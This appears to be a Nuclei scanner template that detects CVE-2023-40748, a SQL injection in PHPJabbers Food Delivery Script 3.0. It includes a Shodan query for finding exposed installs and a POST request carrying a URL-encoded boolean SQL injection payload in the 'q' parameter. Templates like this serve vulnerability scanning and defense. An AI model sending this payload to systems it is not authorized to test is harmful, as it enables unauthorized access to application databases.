id: CVE-2023-40748

info:
  name: PHPJabbers Food Delivery Script - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    PHPJabbers Food Delivery Script 3.0 has a SQL injection (SQLi) vulnerability in the "q" parameter of index.php.
  reference:
    - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40748
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-40748
    cwe-id: CWE-89
    cpe: cpe:2.3:a:phpjabbers:food_delivery_script:3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"PHPJabbers"
    vendor: phpjabbers
    product: food_delivery_script
  tags: cve,cve2023,phpjabbers,food-delivery,sqli

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php?controller=pjAdminOrders%26action%3dpjActionGetNewOrder%26column%3dcreated%26direction%3dASC%26page%3d1%26rowCount%3d50%26q%3d-1910%27)+OR+6100%3d6100%23%26type%3d"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "class <strong>pjAdminOrdersaction"
          - "didn't exists"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220322db5a37948ea1fe190f085354ec9188b0645313f8a7c915c9b0130012aea71022100b07dd05475da0a2ac2f98b40fc7e3fe2733e76d3e09f3c1334e40242a653ba54:922c64590222798bb761d5b6d8e72950